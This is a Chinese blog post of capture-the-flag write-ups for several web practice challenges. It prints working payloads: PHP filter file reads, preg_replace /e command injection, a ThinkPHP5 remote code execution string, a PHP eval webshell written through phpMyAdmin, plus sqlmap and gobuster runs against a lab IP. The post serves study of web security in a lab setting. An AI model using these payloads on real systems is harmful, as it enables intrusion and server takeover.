0%

攻防世界web练习

攻防世界web练习

ics-05

首先点击下发觉只有一个php界面,然后在点击,发觉有个?page=,尝试利用php伪协议读取源代码

1
?page=php://filter/read=convert.base64-encode/resource=index.php

读取解码后发觉后门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

echo "<br >Welcome My Admin ! <br >";

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}

}
?>

改header头,这里又有一个小知识点

pattern是用来查找的常规表达式,replacement是用来替换的字符串,submit是要查找替换的字符串,limit是可以替换的字符串数,count是成功替换的数目。函数将返回替换后的字符串,当Pattern参数使用/e修正符时,preg_replace函数会将replacement参数当作 PHP代码执行,那么,针对此种情况,当replacement内容为用户可控数据时,就可能导致命令注入攻击漏洞的形成。

执行payload

1
?pat=/123/e&rep=system("find+-iname+flag")&sub=123

获取到路径 ./s3chahahaDir/flag

1
?pat=/123/e&rep=system("cd+./s3chahahaDir/flag%26%26ls")&sub=123

获取到flag.php

1
?pat=/123/e&rep=system("cd+./s3chahahaDir/flag%26%26cat+flag.php")&sub=123

读取flag.php在注释里
cyberpeace{48a737421e01bd7f706d3f6be5059274}

总结

  1. 文件包含漏洞
  2. 命令执行
  3. php伪协议

ics-06

。。。看不懂题目意图,爆破id,为2333能拿到flag

lottery

原来用burp抓包尝试看有什么东西,测了好些时间发觉没什么东西,看了wp后知道robots.txt里有提示,git源码泄露,GitHacker下载源码后发觉有个弱类型

1
2
3
4
5
6
7
8
9
$money = $_SESSION['money'];
$numbers = $req['numbers'];
$win_numbers = random_win_nums();
$same_count = 0;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
}

随后传入非数字,让其相等,所以拿到奖金,买flag

php_rce

thinkphp5 rce

查找到一个payload

1
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

拿flag

upload1

前端js验证,禁用js后绕过上传

Training-WWW-Robots

水题,robots.txt拿flag

NewsCenter

sqlmap一把梭

1
sqlmap -r 1.post -D news -T secret_table -a

Web_php_include

解法1

1
gobuster -t 20 -w ~/Documents/字典/御剑字典/PHP.txt dir -u "http://111.198.29.45:40559/"

扫出来phpmyadmin登录界面,用户名root,密码空登录
写shell到/tmp/目录,

1
select "<?php eval(@$_POST['flag']); ?>"into outfile '/tmp/test.php'

文件包含shell连接

解法2

1
?page=PHP://filter/read=convert.base64-encode/resource=flag.php

strstr是对大小写敏感的,用大写PHP绕过检测

大写绕过,伪协议读取,问题我不知道flag名称,无法读取

php2

1
gobuster -t 20 -w ~/Documents/字典/御剑字典/PHP.txt dir -u "http://111.198.29.45:38685/"

扫描到index.phps,然后读到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?

url二次编码绕过就好了

本文作者:NoOne
本文地址https://noonegroup.xyz/posts/fbe056b6/
版权声明:转载请注明出处!